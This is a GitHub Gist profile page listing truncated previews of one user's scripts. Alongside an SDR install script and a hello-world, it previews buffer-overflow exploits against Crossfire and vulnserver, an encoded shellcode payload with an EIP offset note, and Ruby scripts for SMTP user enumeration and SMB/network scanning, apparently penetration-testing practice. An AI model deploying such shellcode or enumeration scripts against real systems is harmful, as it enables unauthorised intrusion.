Skip to content

Instantly share code, notes, and snippets.

View tresacton's full-sized avatar

Très Acton tresacton

  • Sydney, Australia
View GitHub Profile
@tresacton
tresacton / installosmo
Created May 24, 2017 04:25
install osmocom
git clone git://git.osmocom.org/gr-osmosdr
cd gr-osmosdr/
mkdir build
cd build/
cmake ../
make
sudo make install
sudo ldconfig
@tresacton
tresacton / helloworld.pl
Last active February 15, 2016 05:21
helloworld.py
#!/usr/bin/perl
# Hello world perl program
print "Hello World!";

Colons can be used to align columns.

Tables Are Cool
col 3 is right-aligned $1600
col 2 is centered $12
zebra stripes are neat $1

The outer pipes (|) are optional, and you don't need to make the raw Markdown line up prettily. You can also use inline Markdown.

@tresacton
tresacton / crossfire_buffer_overflow.py
Last active August 29, 2015 14:01
crossfire_buffer_overflow.py
#!/usr/bin/python
import socket
host = "127.0.0.1"
# shellcode = ("\xb8\x7b\x02\x1e\x5f\xdb\xdc\xd9\x74\x24\xf4\x5d\x29\xc9" +
# "\xb1\x14\x31\x45\x14\x03\x45\x14\x83\xed\xfc\x99\xf7\x2f" +
# "\x84\xaa\x1b\x1c\x79\x07\xb6\xa1\xf4\x46\xf6\xc0\xcb\x08" +
# "\xac\x52\x86\x60\x51\x6b\x37\x2c\x3f\x7b\x66\x9c\x36\x9a" +
# "\xe2\x7a\x11\x90\x73\x0b\xe0\x2e\xc7\x0f\x53\x48\xea\x8f" +
@tresacton
tresacton / vulnserver_buffer_overflow.py
Last active August 29, 2015 14:01
vulnserver_buffer_overflow.py
#!/usr/bin/python
import time, struct, sys
import socket as so
try:
#server = sys.argv[1]
server = '192.168.11.136'
port = 5555
except IndexError:
print "[+] Usage %s host" % sys.argv[0]
@tresacton
tresacton / buffover.py
Last active August 29, 2015 14:01
buffer overflow
#!/usr/bin/python
import socket
#Created a buffer with 2700 bytes generated by the pattern_create tool, the EIP offset was at 2606
payload = ("\xd9\xeb\xba\x23\x9c\x95\x03\xd9\x74\x24\xf4\x58\x33\xc9" +
"\xb1\x4f\x31\x50\x19\x83\xe8\xfc\x03\x50\x15\xc1\x69\x69" +
"\xeb\x8c\x92\x92\xec\xee\x1b\x77\xdd\x3c\x7f\xf3\x4c\xf0" +
"\x0b\x51\x7d\x7b\x59\x42\xf6\x09\x76\x65\xbf\xa7\xa0\x48" +
"\x40\x06\x6d\x06\x82\x09\x11\x55\xd7\xe9\x28\x96\x2a\xe8" +
"\x6d\xcb\xc5\xb8\x26\x87\x74\x2c\x42\xd5\x44\x4d\x84\x51" +
@tresacton
tresacton / smtp_vrfy.rb
Last active August 29, 2015 14:01
smtp_vrfy.rb
#!/usr/bin/env ruby
require 'open3'
require 'socket'
ip = ARGV[0]
start_of_range = ARGV[1]
end_of_range = ARGV[2]
@targets_to_scan = [] # if alive, add to this
@targets = "#{ip}.#{start_of_range}-#{end_of_range}"
@current_target = ""
@tresacton
tresacton / master_scan.rb
Last active September 25, 2016 07:19
master_scan wip
#!/usr/bin/env ruby
require 'open3'
require 'socket'
ip = ARGV[0]
start_of_range = ARGV[1]
end_of_range = ARGV[2]
# prepare vars
@tresacton
tresacton / colour_output_template.rb
Last active August 29, 2015 14:01
colour_output_template.rb
#!/usr/bin/env ruby
###################################################
# start colour output #
###################################################
def self.status_output(the_message)
if the_message.include?("[+]")
puts green(the_message)
elsif the_message.include?("[#]")
puts cyan(the_message)
@tresacton
tresacton / nmap_smb_enum.rb
Last active August 29, 2015 14:01
nmap_smb_enum.rb
#!/usr/bin/env ruby
require 'open3'
puts "[!] Started at: #{Time.now}"
ip = ARGV[0]
start_of_range = ARGV[1]
end_of_range = ARGV[2]
# prepare vars